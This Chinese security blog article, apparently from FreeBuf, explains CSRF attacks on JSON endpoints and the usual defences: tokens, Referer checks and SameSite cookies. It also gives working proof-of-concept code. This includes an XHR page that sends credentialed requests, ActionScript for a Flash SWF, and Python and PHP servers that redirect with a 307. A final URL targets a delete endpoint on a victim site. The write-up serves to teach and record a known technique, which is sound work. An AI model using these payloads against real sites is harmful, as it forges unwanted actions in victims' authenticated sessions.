一、CSRF漏洞简介
csrf漏洞的成因就是网站的cookie在浏览器中不会过期,只要不关闭浏览器或者退出登录,那以后只要是访问这个网站,都会默认你已经登录的状态。而在这个期间,攻击者发送了构造好的csrf脚本或包含csrf脚本的链接,可能会执行一些用户不想做的功能(比如是添加账号等)。这个操作不是用户真正想要执行的。
在post标准化格式(accounts=test&password=aaa)的表单页面中,在没有csrf防护的前提下,我们能很轻松地构造页面来实现攻击,但是在json格式下,csrf攻击怎么实现呢?
那我们为何不能使用这个常规构造的PoC来利用JSON端点中的CSRF呢?原因如下:
1、POSTbody需要以JSON格式发送,而这种格式如果用HTML表单元素来构建的话会比较麻烦。
2、Content-Type头需要设置为application/json。设置自定义Header需要使用XMLHttpRequests,而它还会向服务器端发送OPTIONS预检请求。
1.1 防御方案
关于防御方案,一般有如下几种:
1)用户操作验证,在提交数据时需要输入验证码
2)请求来源验证,验证请求来源的referer
3)表单token验证
现在业界对CSRF的防御,一致的做法是使用一个Token(Anti CSRF Token)。
这个Token的值必须是随机的,不可预测的。由于Token的存在,攻击者无法再构造一个带有合法Token的请求实施CSRF攻击。另外使用Token时应注意Token的保密性,尽量把敏感操作由GET改为POST,以form或AJAX形式提交,避免Token泄露。
例子:
第一步:用户访问某个表单页面。
第二步:服务端生成一个Token,放在用户的Session中,或者浏览器的Cookie中。
第三步:在页面表单附带上Token参数。
第四步:用户提交请求后,服务端验证表单中的Token是否与用户Session(或Cookies)中的Token一致, 一致为合法请求,不是则非法请求。
4) 在前后端分离的前提下(例如使用ajax提交数据)设置不了token,可以给 cookie 新增 SameSite 属性,通过这个属性可以标记哪个 cookie 只作为同站 cookie (即第一方 cookie,不能作为第三方 cookie),既然不能作为第三方 cookie ,那么别的网站发起第三方请求时,第三方网站是收不到这个被标记关键 cookie,后面的鉴权处理就好办了。这一切都不需要做 token 生命周期的管理,也不用担心 Referer 会丢失或被中途被篡改。
SameStie 有两个值:Strict 和 Lax:
SameSite=Strict 严格模式,使用 SameSite=Strict 标记的 cookie 在任何情况下(包括异步请求和同步请求),都不能作为第三方 cookie。
SameSite=Lax 宽松模式,使用 SameSite=Lax 标记的 cookie 在异步请求 和 form 提交跳转的情况下,都不能作为第三方 cookie。
那么Strict和Lax的如何使用呢?
登录态关键的 cookie 都可以设置为 Strict。
后台根据用户的登录态动态新建一个可以用于校验登录态的 cookie ,设置为 Lax ,这样的话对外推广比如微博什么的,你希望用户在微博上打开你的链接还能保持登录态。
如果你的页面有可能被第三方网站去iframe或有接口需要做jsonp ,那么都不能设置 Strict 或 Lax。
二、不验证CONTENT-TYPE的情况
如果服务端没有校验Content-Type,或者没有严格校验Content-Type是否为application/json,我们可以使用XHR来实现csrf,poc如下:
<html>
<head>
<script style="text/javascript">
function submitRequest()
{
var xhr = new XMLHttpRequest();
xhr.open("POST", "http://victim.com/carrieradmin/admin/priceSheet/priceSheet/savePriceSheet.do", true);
xhr.setRequestHeader("Accept", "application/json, text/plain, */*");
xhr.setRequestHeader("Accept-Language", "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application/json; charset=utf-8");
xhr.withCredentials = true;
xhr.send(JSON.stringify({"serialNumber":"CYS1811291899","type":2,"temp":1,"enableTime":"2018-11-01 00:00:00","disableTime":"2018-11-29 12:00:00","name":"1","supplierCode":"","province":"天津市","city":"天津市","region":"和q区","remark":"","fromType":2,"chargeDetailList":[{"province":"山西省","city":"晋城市","region":"陵川县","price42":"1","price65":"1","price71":"1","price76":"1","priceA":"11","priceB":"","priceC":"1","times":"1","unloadPrice":"1"}]}));
}
</script>
</head>
<body>
<form action="#">
<input type="button" value="Submit request" onClick="submitRequest()"/>
</form>
</body>
</html>
三、验证CONTENT-TYPE的情况
当然了,使用XMLHttpRequest、fetch能构造出JSON请求,并且能设置Content-Type,但是无法跨域。
fetch发起的请求代码:
<html>
<title>JSON CSRF POC</title>
<script>
fetch('http://victim.com/vul.page', {method: 'POST', credentials: 'include', headers: {'Content-Type': 'text/plain'}, body: '{"name":"attacker","email":"attacker.com"}'});
</script>
</form>
</html>
我们可以利用Flash的跨域与307跳转来绕过http自定义头限制,307跟其他3XX HTTP状态码之间的区别就在于,HTTP 307可以确保重定向请求发送之后,请求方法和请求主体不会发生任何改变。HTTP 307会将POST body和HTTP头重定向到我们所指定的最终URL,并完成攻击。
3.1 创建flash文件
为了创建能够发送Web请求的csrf.swf文件,我们需要按照以下步骤操作:
安装FlexSDK将ActionScript编译为swf文件。Flex需要安装32位的JVM,这一步可以安装32位JDK来完成。
创建一个包含下列ActionScript代码的text文件,文件名为csrf.as。
获取托管Flash文件的主机系统(攻击者的服务器)IP地址/域名,并替换掉代码中的。
运行“mxmlc csrf.as”命令,将该文件编译为csrf.swf。
3.2 创建web服务器
1、使用python作为服务器(此方法不推荐):
先创建as文件,用上述步骤编译:
package
{
import flash.display.Sprite;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.net.URLRequestHeader;
import flash.net.URLRequestMethod;
public class csrf extends Sprite
{
public function csrf()
{
super();
var member1:Object = null;
var myJson:String = null;
member1 = new Object();
member1 ={"id":102};
var myData:Object = member1;
myJson = JSON.stringify(myData);
myJson = JSON.stringify(myData);
var url:String = "http://172.16.11.110:8000/";
var request:URLRequest = new URLRequest(url);
request.requestHeaders.push(new URLRequestHeader("Content-Type","application/json"));
request.data = myJson;
request.method = URLRequestMethod.POST;
var urlLoader:URLLoader = new URLLoader();
try
{
urlLoader.load(request);
return;
}
catch(e:Error)
{
trace(e);
return;
}
}
}
}
借助GitHub上的json-flash-csrf-poc,我们可以生成一个简单的python web服务器
pyserver.py:
import BaseHTTPServer
import time
import sys
HOST = ''
PORT = 8000
class RedirectHandler(BaseHTTPServer.BaseHTTPRequestHandler):
def do_POST(s):
# dir(s)
if s.path == '/csrf.swf':
s.send_response(200)
s.send_header("Content-Type","application/x-shockwave-flash")
s.end_headers()
s.wfile.write(open("csrf.swf", "rb").read())
return
s.send_response(307)
s.send_header("Location", "https://victim-site/userdelete")
s.end_headers()
def do_GET(s):
print(s.path)
s.do_POST()
if __name__ == '__main__':
server_class = BaseHTTPServer.HTTPServer
httpd = server_class((HOST, PORT), RedirectHandler)
print time.asctime(), "Server Starts - %s:%s" % (HOST, PORT)
try:
httpd.serve_forever()
except KeyboardInterrupt:
pass
httpd.server_close()
print time.asctime(), "Server Stops - %s:%s" % (HOST, PORT)
2、使用apache的php页面作为服务端(首选方法):
我们也可以使用php来作为307跳转的服务端,参考GitHub上的swf_json_csrf。
csrf.as:
package
{
import flash.display.Sprite;
import flash.net.URLLoader;
import flash.net.URLRequest;
import flash.net.URLRequestHeader;
import flash.net.URLRequestMethod;
public class csrf extends Sprite
{
public function csrf()
{
super();
var myJson:String = this.root.loaderInfo.parameters.jsonData;
var url:String = this.root.loaderInfo.parameters.php_url;
var endpoint:String = this.root.loaderInfo.parameters.endpoint;
var ct:String = !!this.root.loaderInfo.parameters.ct?this.root.loaderInfo.parameters.ct:"application/json";
var request:URLRequest = new URLRequest(url + "?endpoint=" + endpoint);
request.requestHeaders.push(new URLRequestHeader("Content-Type",ct));
request.data = myJson;
request.method = URLRequestMethod.POST;
var urlLoader:URLLoader = new URLLoader();
try
{
urlLoader.load(request);
return;
}
catch(e:Error)
{
trace(e);
return;
}
}
}
}
307.php:
<?php
$victim_url = $_GET['endpoint'];
header("Location: $victim_url", true, 307)
?>
最后使用的poc是:
http://172.16.11.102/csrf/test.swf?jsonData={%22id%22:49}&php_url=http://172.16.11.102/csrf/test.php&endpoint=http://victim.com/carrieradmin/admin/car/delete&ct=application/json
四、更进一步探索
当访问最后的POC,过程如下:
1、受害者访问POC,向attacter.com发起一条swf请求,swf向307.php发送HTTP POST请求。
2、attacter.com的307.php发起307跳转,跳转到victim.com,注意307跳转会带着http请求方式,header和postdata进行跳转。
3、victim.com收到一条POST请求,并且Content-Type为application/json。
4、victim.com收到一条/crossdomain.xml请求。由于第三步优先第四步执行,导致跨域。并且victim.com能收到crossdomain.xml请求,也证明了第三步的POST请求是Flash发出,而不是307.php发出。因为307.php单独发出的post请求不会主动请求crossdomain.xml。
我们知道,服务器A的Flash如果要向B发起一条HTTP请求,会先请求服务器B的crossdomain.xml文件,判断是否能跨域,如果文件没有,或者xml文件设置不能跨域,则不能跨域。
既然可以设置Content-Type,那么能设置Referer吗。如果能,那验证Referer的CSRF岂不都能绕过?
其实Flash的Header存在一个黑名单,黑名单列表的头不允许设置,其中就有Referer。不能设置的头标如下:
Accept-Charset、Accept-Encoding、Accept-Ranges、Age、Allow、Allowed、Authorization、Charge-To、Connect、Connection、Content-Length、Content-Location、Content-Range、Cookie、Date、Delete、ETag、Expect、Get、Head、Host、Keep-Alive、Last-Modified、Location、Max-Forwards、Options、Post、Proxy-Authenticate、Proxy-Authorization、Proxy-Connection、Public、Put、Range、Referer、Request-Range、Retry-After、Server、TE、Trace、Trailer、Transfer-Encoding、Upgrade、URI、User-Agent、Vary、Via、Warning、WWW-Authenticate 和 x-flash-version。
五、实际测试效果
这种flash+307跳转攻击方法只能在旧版浏览器适用,在2018年后更新版本的几乎所有浏览器,307跳转的时候并没有把Content-Type传过去而导致csrf攻击失败。所以还望寻找一种新的攻击方法,本文的json csrf攻击方法仅仅是作为一种记录,在某些情况下还是能用到的。
参考链接
*本文作者:shystartree,本文属 FreeBuf 原创奖励计划,未经许可禁止转载。